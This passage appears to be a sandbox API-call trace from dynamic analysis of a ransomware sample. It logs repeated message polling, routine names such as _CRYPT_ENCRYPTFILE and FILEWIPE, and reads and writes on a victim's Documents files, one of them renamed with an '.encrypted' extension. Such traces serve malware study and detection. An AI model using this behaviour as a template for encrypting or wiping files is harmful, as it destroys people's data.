lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.923] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.923] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.923] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.923] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.923] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.923] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.923] CryptReleaseContext (hProv=0xe8f40633c0, dwFlags=0x0) returned 1 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.923] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.923] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.925] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.925] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.927] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.927] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.927] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.927] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.927] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.927] CharLowerBuffW (in: lpsz="byte[64919]", cchLength=0xb | out: lpsz="byte[64919]") returned 0xb [0023.928] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.928] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.928] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.928] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.928] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.928] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.928] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.929] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.929] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.930] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.930] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.930] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.931] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.931] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.931] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.931] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.931] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.932] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.933] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.933] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.933] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.933] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.933] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.933] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.933] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.933] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.933] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2558) returned 1 [0023.933] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.933] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.933] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.933] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x9fe, lpOverlapped=0x0) returned 1 [0023.933] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.933] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x9fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.934] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2558) returned 1 [0023.934] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.encrypted.xlsx\r\n", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0023.934] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.encrypted.xlsx\r\n", cchWideChar=55, lpMultiByteStr=0xe8f404c350, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.encrypted.xlsx\r\n", lpUsedDefaultChar=0x0) returned 55 [0023.934] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4051e50*, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051e50*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x36, lpOverlapped=0x0) returned 1 [0023.934] CloseHandle (hObject=0x188) returned 1 [0023.935] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.935] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.935] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.935] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.935] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.935] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.935] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.936] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.936] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178880, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.937] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178880, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.937] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.docx", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0023.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.docx", cchWideChar=51, lpMultiByteStr=0xe8f404c1d0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.docx", lpUsedDefaultChar=0x0) returned 51 [0023.937] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\aqjehdutmjim4m.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=51, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0023.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=51, lpWideCharStr=0xe8f4062330, cchWideChar=51 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.docx") returned 51 [0023.938] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.938] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.938] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.938] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.938] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178820, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.939] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.939] CloseHandle (hObject=0x188) returned 1 [0023.939] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.939] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.939] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.939] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.939] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.939] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.939] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.939] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.939] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.939] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.939] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.940] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.940] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 